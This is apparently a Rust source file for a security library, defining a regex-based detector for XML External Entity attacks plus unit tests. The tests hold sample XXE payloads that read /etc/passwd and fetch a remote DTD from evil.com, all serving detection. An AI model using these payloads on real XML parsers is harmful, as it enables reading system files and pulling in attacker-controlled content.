Skip to main content

security_rust/protocol/
xxe.rs

1// Copyright (c) 2026 erik <erik@erik.xyz> — https://erik.xyz
2
3use regex::Regex;
4use std::sync::LazyLock;
5
6use crate::{regex_detect, AttackCategory, DetectionResult, Detector, Severity};
7
8static PATTERNS: LazyLock<Vec<Regex>> = LazyLock::new(|| {
9    vec![
10        Regex::new(r"(?i)<!ENTITY\s+").unwrap(),
11        Regex::new(r#"(?i)SYSTEM\s+["']"#).unwrap(),
12        Regex::new(r#"(?i)PUBLIC\s+["']"#).unwrap(),
13        Regex::new(r"(?i)<!DOCTYPE\s+").unwrap(),
14    ]
15});
16
17pub struct XxeDetector;
18
19impl Detector for XxeDetector {
20    fn name(&self) -> &'static str {
21        "xxe"
22    }
23
24    fn detect(&self, input: &str) -> Option<DetectionResult> {
25        regex_detect(&PATTERNS, self.name(), AttackCategory::Protocol, Severity::Critical, "XXE XML External Entity attack detected", input)
26    }
27}
28
29#[cfg(test)]
30mod tests {
31    use super::*;
32
33    fn assert_detected(input: &str) {
34        crate::test_helpers::assert_detected(
35            &XxeDetector,
36            input,
37            AttackCategory::Protocol,
38            Severity::Critical,
39        );
40    }
41
42    fn assert_clean(input: &str) {
43        crate::test_helpers::assert_clean(&XxeDetector, input);
44    }
45
46    #[test]
47    fn name_is_xxe() {
48        assert_eq!(XxeDetector.name(), "xxe");
49    }
50
51    #[test]
52    fn detects_inline_entity() {
53        assert_detected("<!ENTITY xxe SYSTEM \"file:///etc/passwd\">");
54    }
55
56    #[test]
57    fn detects_doctype_declaration() {
58        assert_detected(
59            "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>",
60        );
61    }
62
63    #[test]
64    fn detects_parameter_entity() {
65        assert_detected("<!ENTITY % param SYSTEM \"http://evil.com/xxe.dtd\">");
66    }
67
68    #[test]
69    fn detects_public_entity() {
70        assert_detected(
71            "<!ENTITY xxe PUBLIC \"-//W3C//DTD XHTML 1.0//EN\" \"file:///etc/passwd\">",
72        );
73    }
74
75    #[test]
76    fn detects_mixed_case_markup() {
77        assert_detected("<!entity xxe system \"file:///etc/passwd\">");
78        assert_detected("<!doctype foo>");
79    }
80
81    #[test]
82    fn rejects_benign_xml() {
83        assert_clean("<note><to>Joe</to><from>Bob</from><body>Hi</body></note>");
84        assert_clean("<ENTITY>plain text</ENTITY>");
85        assert_clean("<!DOCTYPEfoo>");
86        assert_clean("SYSTEM\"file:///etc/passwd\"");
87        assert_clean("<!ENTITY>");
88    }
89
90    #[test]
91    fn rejects_near_misses() {
92        assert_clean("<!ENTITYxxe>");
93        assert_clean("<!ENTITY%xxe>");
94        assert_clean("SYSTEM /etc/passwd");
95    }
96
97    #[test]
98    fn rejects_empty_and_whitespace() {
99        assert_clean("");
100        assert_clean("   ");
101    }
102
103    #[test]
104    fn rejects_unicode_text() {
105        assert_clean("这是一段普通的中文 XML 描述文本");
106    }
107}